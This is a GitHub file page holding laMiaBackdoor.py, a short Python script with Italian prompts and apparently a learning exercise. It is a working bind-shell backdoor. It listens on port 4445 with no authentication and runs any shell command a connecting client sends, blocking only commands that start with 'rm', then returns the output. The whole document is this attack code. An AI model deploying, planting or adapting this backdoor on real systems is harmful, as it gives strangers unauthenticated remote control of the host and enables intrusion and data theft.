-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlaMiaBackdoor.py
33 lines (32 loc) · 1.07 KB
/
laMiaBackdoor.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import socket as so
import os
import subprocess
SRV_ADDR = ""
SRV_PORT = 4445
s = so.socket(so.AF_INET, so.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
print("Sto attendendo una connessione...")
connection, address = s.accept()
ip_client, porta_client = address
print(f"Ho stabilito una connessione con {ip_client} sulla porta {porta_client} ")
percorso_partenza = os.getcwd()
while True:
prompt = "["+percorso_partenza + "]$ "
connection.sendall(prompt.encode("utf-8"))
data = connection.recv(1024)
if not data: break
comando = data.decode("utf-8")
result = ""
if (comando.startswith('cd')):
os.chdir(comando.replace("cd ","").replace('\n', ''))
percorso_partenza = os.getcwd()
elif (comando.startswith('rm')):
result = "Ci hai provato!"
else:
res = subprocess.run(comando,cwd=percorso_partenza,shell=True, capture_output=True, text=True)
result = res.stdout
if(res.stderr): result = f"{result}\n{res.stderr}"
result = result + "\n"
connection.sendall(result.encode("utf-8"))
connection.close()